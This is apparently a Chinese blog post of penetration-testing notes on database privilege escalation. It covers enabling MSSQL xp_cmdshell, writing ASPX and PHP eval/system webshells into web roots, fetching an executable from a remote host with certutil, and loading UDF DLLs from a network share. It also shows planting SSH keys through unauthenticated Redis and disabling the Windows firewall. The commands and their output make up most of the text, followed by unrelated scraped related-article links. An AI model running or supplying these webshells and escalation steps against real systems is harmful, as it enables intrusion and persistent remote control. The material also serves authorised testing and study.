【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)
4、数据库安全基础
4.1、MSSQL
数据库角色权限
sysadmin:执行SQL Server中的任何动作
db_owner:可以执行数据库中技术所有动作的用户
public:数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。
数据库身份验证
SQL Server中的验证方式
Windows身份验证模式
SQL Server和Windows身份验证模式(混合模式)
常用命令
- xp_cmdshell 执行命令
exec xp_cmdshell 'dir'
- sp_configure 开启扩展
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
- 文件上传
1、通过SQL搜索指定文件
1> exec xp_cmdshell 'dir /s C:\ /b | findstr "Files.aspx"';
2> go
+-------------------+
| output |
+-------------------+
| C:\web\Files.aspx |
| NULL |
+-------------------+
(2 rows affected)
2、通过SQL写webshell到网站目录,DOS转义问题
1> exec xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["z"],"unsafe");%^> >> C:\web\hello.aspx';
2> go
+--------+
| output |
+--------+
| NULL |
+--------+
(1 rows affected)
3、文件下载
# 本地开启Web服务
python -m SimpleHTTPServer 80
# 远程服务器执行下载
1> exec xp_cmdshell "certutil -urlcache -f -split http://172.18.0.24/3389.exe";
2> go
+------------------------------------+
| output |
+------------------------------------+
| **** 联机 **** |
| 000000 ... |
| 02c8fe |
| CertUtil: -URLCache 命令成功完成。 |
| NULL |
+------------------------------------+
(5 rows affected)
- 加解密web.config
aspnet_regiis -pef "加密的字段" "web路径不带\"
aspnet_regiis -pdf "解密的字段" "web路径不带\"
4.2、MySQL
获取Shell
获取方法有两种
- 上传一个用户自定义方法udf,执行系统命令
- mysql+web的形式,into outfile写文件
常用语句
# 显示用户名
select user();
# 显示数据库版本
select @@version;
# 显示导出目录路径
select @@secure_file_priv;
# 将数据导出到某个文件
select 1 into outfile '/var/www/html/sql/1.txt';
select "<?=system($_GET['z']);?>" into outfile '/var/www/html/sql/z.php'
select "<?=eval($_REQUEST['z']);?>" into outfile '/var/www/html/sql/z1.php'
导出UDF.DLL
# 1、MySQL5 新建plugin目录
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
# 2、利用网络共享导出UDF
select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
# 3、十六进制导出
// 转换为hex函数
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// 导入
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
# 4、创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。
create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
# 5、使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。
# 转换为base64
select to_base64(load_file('D:\\udf.dll'));
# base64导出为DLL
select from_base64("Base64编码") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
条件
1、into outfile需要MySQL的file权限
2、MySQL5.7以后,secure_file_priv只能通过mysqld.cnf配置文件编辑。默认不配置,outfile写文件无权限。
3、读写文件时候,文件操作的用户是mysql:mysql,所以需要MySQL具有一个可写入的目录权限。
4.3、Redis
漏洞测试
1)本地生成秘钥
root@GanDolf:~# ssh-keygen -t rsa
2)将公钥写入一个文件
root@GanDolf:~# cd /root/.ssh/
root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
3)连接redis写入文件
root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
OK
root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh
4)连接服务器
root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx
5、操作系统安全基础
搜索文件
dir /s C:\ /b | findstr "Files.aspx"
批量查找文件
for /r c:\game %i in (xxxx.txt) do @echo %i
windows命令查看文件
type C:\\flag.txt
关闭防火墙
netsh firewall set opmode mode=disable
下载文件(windows2008)
certutil -urlcache -f -split http://172.18.0.24/3389.exe";
下载的方式
Windows下各种一行代码的download
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/?tdsourcetag=s_pcqq_aiomsg
如何挖掘新的可持续后门技巧
http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks
6、中间件安全基础
日志分析
管理员后台
admin、manage、login、system
后门相关
help.php、fuck.php、f4ck.php
7、渗透实际操作
端口扫描
口令测试:admin/admin、admin/admin888、admin/123456、root/root等
目录扫描
web安全漏洞测试:文件上传、文件下载、base64编码、常见配置文件路径
提权:数据库提权
- MySQL:outfile
select <?php phpinfo();?> outfile D:\shell.php
- MSSQL:开启XP_CMDSHELL
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
- 连接远程桌面
- 关闭防火墙
netsh firewall set opmode mode=disable
【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)的更多相关文章
- win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)
今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站 先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...
- SQL Server 数据库编程技巧
Ø 简介 本文主要介绍 SQL Server 数据库在平常的开发中,可能会涉及到的编程技巧,主要包含以下内容: 1. 解决 SQL Server 不支持 127.0.0.1 登录 2. 查询 ...
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
- 快速了解 Robot Operating System(ROS) 机器人操作系统
http://www.ros.org/ 关于ROS About ROS http://www.ros.org/about-ros/ 机器人操作系统(ROS)是用于编写机器人软件的灵活框架.目的在简化 ...
- DBCC CHECKDB 遭遇Operating system error 112(failed to retrieve text for this error. Reason: 15105) encountered
我们一个SQL Server服务器在执行YourSQLDBa的作业YourSQLDba_FullBackups_And_Maintenance时遇到了错误: Exec YourSQLDba.Maint ...
- The World's Only Advanced Operating System
The World's Only Advanced Operating System
- Unable to open the physical file xxxx. Operating system error 2
在新UAT服务器上,需要将tempdb放置在SSD(固态硬盘)上.由于SSD(固态硬盘)特性,所以tempdb的文件只能放置在D盘下面,而不能是D盘下的某一个目录下面. ALTER DATABASE ...
- CREATE FILE encountered operating system error 5(Access is denied.)
这篇博文主要演示"CREATE FILE encountered operating system error 5(Access is denied.)"错误如出现的原因(当然只是 ...
- Linux启动报错missing operating system
用UltraISO制作了一个Red Hat Enterprise Linux Server release 5.7系统的U盘启动盘,然后在一台PC上安装,由于安装过程中在干别的事情,有些选项没有细看. ...
随机推荐
- Java 基础--小结
Java 基础--小结 java基础 Java源程序(.java文件)——>java字节码文件(.class文件)——>由解释执行器(java.exe)将字节码文件加载到java虚拟机( ...
- Java线程Dump分析工具--jstack
jstack用于打印出给定的java进程ID或core file或远程调试服务的Java堆栈信息,如果是在64位机器上,需要指定选项"-J-d64",Windows的jstack使 ...
- PKUWC Slay The Spire
题面链接 LOJ sol 好神啊.果然\(dp\)还是做少了,纪录一下现在的思维吧\(QAQ\). 我们首先可以发现期望是骗人的,要不然他乘的是什么xjb玩意. 其实就是要求所有方案的最优方案和. 因 ...
- 【转】关于在linux下清屏的几种技巧
在windows的DOS操作界面里面,清屏的命令是cls,那么在linux 里面的清屏命令是什么呢?下面笔者分享几种在linux下用过的清屏方法. 1.clear命令.这个命令将会刷新屏幕,本质上只是 ...
- Service Intent must be explicit的解决方法
今天遇到如标题问题,查阅资料:http://blog.android-develop.com/2014/10/android-l-api-21-javalangillegalargumen.html ...
- BZOJ 3098 Hash Killer II
3098: Hash Killer II Description 这天天气不错,hzhwcmhf神犇给VFleaKing出了一道题: 给你一个长度为N的字符串S,求有多少个不同的长度为L的子串. 子串 ...
- fzyzojP2119 -- 圆圈游戏
说白了,就是这个样子: 这个玩意明显是一个优美的树形结构 是个森林 然后建个虚点0,并且w[0]=0,然后树形dp即可 f[x]=max(w[x],∑f[son]) 难点是:树怎么建? 就要上计算几何 ...
- go递归打印指定目录下的所有文件及文件夹
func treedir(fpath string){ // 获取fileinfo if finfo,err := os.Stat(fpath); err == nil { // 判断是不是目录 如果 ...
- Python【logging】模块
# 1.负责往控制台里面输出日志信息的 # 2.往日志文件里面写日志的,按天生成日志,清理日志 import logging from logging import handlers logger = ...
- C\C++中 fopen中文件打开方式的区别:
在C语言中,大家常用到fopen打开文件,准备进行写操作,再用fwrite把数据写入文件,最后用fclose关闭文件. 如以下C代码: #include <stdio.h> char ...